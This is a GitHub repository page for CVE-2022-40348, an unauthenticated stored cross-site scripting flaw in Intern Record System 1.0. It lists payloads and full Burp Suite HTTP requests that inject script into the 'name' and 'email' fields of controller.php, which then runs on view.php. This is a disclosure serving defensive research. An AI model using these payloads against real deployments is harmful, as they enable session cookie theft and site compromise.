Skip to content

h4md153v63n/CVE-2022-40348_Intern-Record-System-Cross-site-Scripting-V1.0-Vulnerability-Unauthenticated

main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Code

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

CVE-2022-40348: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)

Exploit Title: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated XSS)
Date: 2022-06-09
Exploit Author: Hamdi Sevben
Vendor Homepage: https://code-projects.org/intern-record-system-in-php-with-source-code/
Software Link: https://download-media.code-projects.org/2020/03/Intern_Record_System_In_PHP_With_Source_Code.zip
Version: 1.0
Tested on: Windows 10 Pro + PHP 8.1.6, Apache 2.4.53
CVE: CVE-2022-40348
References:



1. Description:

Intern Record System 1.0 allows Stored Cross-site Scripting via parameters 'name' and 'email' in /intern/controller.php Intern Record System is vulnerable to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.


2. Proof of Concept:

  1. Burpsuite request on 'name' or 'email' parameters with payloads on http://localhost/intern/controller.php
  2. Go to http://localhost/intern/view.php page
  3. Refresh the page.
  4. The XSS will be triggered.
  5. Alert will popup.

3. Example payload:

Payload-1: <script>alert(document.domain)</script>
Payload-2: <script>alert(document.cookie)</script>


4. Burpsuite request on 'name' parameter:

#Injection

POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 78
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

name=<script>alert(document.domain)</script>&email=&phone=&deptType=3

#Identification Page

GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36


5. Burpsuite request on 'email' parameter:

#Injection

POST /intern/controller.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Content-Length: 153
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/intern/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

name=&email=<script>alert(document.cookie)</script>&phone=&deptType=3

#Identification Page

GET /intern/view.php HTTP/1.1
Host: localhost
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Referer: http://localhost/intern/controller.php

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

About

CVE-2022-40348: Intern Record System - 'name' and 'email' Cross-site Scripting (Unauthenticated)

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published